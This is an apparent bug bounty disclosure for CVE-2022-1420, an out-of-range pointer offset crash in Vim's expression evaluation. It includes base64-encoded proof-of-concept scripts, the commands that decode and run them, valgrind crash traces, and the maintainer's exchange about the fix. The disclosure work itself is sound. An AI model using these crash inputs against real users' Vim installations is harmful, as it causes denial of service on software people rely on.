Use of Out-of-range Pointer Offset in vim/vim
Reported on
Apr 14th 2022
Description
This issue occur in the version 8.2.4739
Proof of Concept
➜ vim git:(master) ✗ echo -n AO8A9C4K/QAKaWZ7e3t7e30tPigzKSg/PWEpezAsMSYKaWZ7e2Z7eyAtPig/PVk8ezAsMTB9Yb7dMH1hvt17MRAALS6zNQAAAAr/AF0KgAr1 | base64 -d > POC1
➜ vim git:(master) ✗ ./src/vim -u NONE -i NONE -n -X -Z -e -m -s -S POC1 -c :qa!
[1] 38244 segmentation fault (core dumped) ./src/vim -u NONE -i NONE -n -X -Z -e -m -s -S POC1 -c :qa!
➜ vim git:(master) ✗ valgrind --leak-check=full ./src/vim -u NONE -i NONE -n -X -Z -e -m -s -S POC1 -c :qa!
==38282== Memcheck, a memory error detector
==38282== Copyright (C) 2002-2022, and GNU GPL'd, by Julian Seward et al.
==38282== Using Valgrind-3.19.0 and LibVEX; rerun with -h for copyright info
==38282== Command: ./src/vim -u NONE -i NONE -n -X -Z -e -m -s -S POC1 -c :qa!
==38282==
==38282== Invalid read of size 1
==38282== at 0x4D9E8E: call_func_rettv (eval.c:4038)
==38282== by 0x4D9256: eval_lambda (eval.c:4122)
==38282== by 0x4D9256: handle_subscript (eval.c:6237)
==38282== by 0x4DCE6C: eval7 (eval.c:3891)
==38282== by 0x4E07C4: eval7t (eval.c:3434)
==38282== by 0x4DFA72: eval6 (eval.c:3226)
==38282== by 0x4DEB99: eval5 (eval.c:2989)
==38282== by 0x4DE46F: eval4 (eval.c:2839)
==38282== by 0x4DDAF3: eval3 (eval.c:2700)
==38282== by 0x4C764A: eval2 (eval.c:2574)
==38282== by 0x4C764A: eval1 (eval.c:2420)
==38282== by 0x47BC1E: eval_dict (dict.c:955)
==38282== by 0x4DC75B: eval7 (eval.c:0)
==38282== by 0x4E07C4: eval7t (eval.c:3434)
==38282== Address 0x3 is not stack'd, malloc'd or (recently) free'd
==38282==
==38282==
==38282== Process terminating with default action of signal 11 (SIGSEGV): dumping core
==38282== at 0x6013177: kill (syscall-template.S:78)
==38282== by 0x6ECE59: may_core_dump (os_unix.c:3529)
==38282== by 0x6ECBDA: mch_exit (os_unix.c:3495)
==38282== by 0xA4E94E: getout (main.c:1718)
==38282== by 0x66BBA0: preserve_exit (misc1.c:2208)
==38282== by 0x6F9B4D: deathtrap (os_unix.c:1175)
==38282== by 0x6012F0F: ??? (in /lib/x86_64-linux-gnu/libc-2.27.so)
==38282== by 0x4D9E8D: call_func_rettv (eval.c:4038)
==38282== by 0x4D9256: eval_lambda (eval.c:4122)
==38282== by 0x4D9256: handle_subscript (eval.c:6237)
==38282== by 0x4DCE6C: eval7 (eval.c:3891)
==38282== by 0x4E07C4: eval7t (eval.c:3434)
==38282== by 0x4DFA72: eval6 (eval.c:3226)
==38282==
==38282== HEAP SUMMARY:
==38282== in use at exit: 2,207,175 bytes in 563 blocks
==38282== total heap usage: 1,236 allocs, 673 frees, 2,325,517 bytes allocated
==38282==
==38282== 29 bytes in 1 blocks are definitely lost in loss record 61 of 161
==38282== at 0x4C33045: malloc (vg_replace_malloc.c:381)
==38282== by 0x406CD9: lalloc (alloc.c:246)
==38282== by 0x406C4B: alloc (alloc.c:151)
==38282== by 0x88C641: vim_strsave (strings.c:27)
==38282== by 0xA57F9B: msg_source (message.c:554)
==38282== by 0xA59057: emsg_core (message.c:763)
==38282== by 0xA586E5: emsg (message.c:785)
==38282== by 0x534338: do_one_cmd (ex_docmd.c:2620)
==38282== by 0x534338: do_cmdline (ex_docmd.c:992)
==38282== by 0x81CABD: do_source_ext (scriptfile.c:1665)
==38282== by 0x81B386: do_source (scriptfile.c:1791)
==38282== by 0x81B386: cmd_source (scriptfile.c:1165)
==38282== by 0x81B08E: ex_source (scriptfile.c:1191)
==38282== by 0x53856F: do_one_cmd (ex_docmd.c:2567)
==38282== by 0x53856F: do_cmdline (ex_docmd.c:992)
==38282==
==38282== 1,232 bytes in 1 blocks are definitely lost in loss record 139 of 161
==38282== at 0x4C33045: malloc (vg_replace_malloc.c:381)
==38282== by 0x406CD9: lalloc (alloc.c:246)
==38282== by 0x406C4B: alloc (alloc.c:151)
==38282== by 0xA516F4: mf_open (memfile.c:129)
==38282== by 0x6459F4: ml_open (memline.c:309)
==38282== by 0x41BECA: open_buffer (buffer.c:186)
==38282== by 0xA4CE92: create_windows (main.c:2858)
==38282== by 0xA4CE92: vim_main2 (main.c:703)
==38282== by 0xA4B533: main (main.c:424)
==38282==
==38282== LEAK SUMMARY:
==38282== definitely lost: 1,261 bytes in 2 blocks
==38282== indirectly lost: 0 bytes in 0 blocks
==38282== possibly lost: 0 bytes in 0 blocks
==38282== still reachable: 2,205,914 bytes in 561 blocks
==38282== suppressed: 0 bytes in 0 blocks
==38282== Reachable blocks (those to which a pointer was found) are not shown.
==38282== To see them, rerun with: --leak-check=full --show-leak-kinds=all
==38282==
==38282== For lists of detected and suppressed errors, rerun with: -s
==38282== ERROR SUMMARY: 3 errors from 3 contexts (suppressed: 0 from 0)
[1] 38282 segmentation fault valgrind --leak-check=full ./src/vim -u NONE -i NONE -n -X -Z -e -m -s -S POC
Impact
crashed
This POC looks like random stuff. Have you tried minimizing it, leaving out everything that doesn't matter for reproducing the problem?
@Bram Moolenaar After minimizing POC to poc2, the issuce can reproduce in the latest version 8.2.4768 at now.
echo -n aWYwLT4oMyko | base64 -d > poc2
➜ vim-8.2.4768 ./src/vim -u NONE -i NONE -n -X -Z -e -m -s -S poc2 -c :qa! [1] 39402 segmentation fault ./src/vim -u NONE -i NONE -n -X -Z -e -m -s -S poc2 -c :qa!
Thanks, now it's much easier to figure out what is wrong. With valgrind I get "Invalid read of size 1", you might want to adjust the title.
Using a number where a string was expected, leading to invalid memory access and a crash.
Thanks. The fix 8b91e7 has been verified as valid.
@admin This disclosure is like https://huntr.dev/bounties/f3f3d992-7bd6-4ee5-a502-ae0e5f8016ea/ Can you help change the Vulnerability Type and Title to "Use of Out-of-range Pointer Offset" ?
@salmonstriver - sure, we can adjust this, but we do require the go-ahead from the maintainer, as they have already validated and fixed the report.
@bram - are you happy to make the changes suggested?
Yes, what the issue did was take the number argument and use it as a string pointer. Thus the script could try to access any memory location as a string, which might be called out-of-range pointer offset.
Furthermore, the researcher has requested a CVE for this report.
Are you happy for us to assign and publish one? (@bram)
Sure, if that makes someone happy. As with most of these problems, an attacker will have to trick a user into executing a script, and that script can do anything even when there are no bugs, thus it hardly reduces security.
✅ CWE updated to CWE-823 ✅ CVE-2022-1420 assigned and published
Thanks for the contribution and effort @bram and @salmonx 👍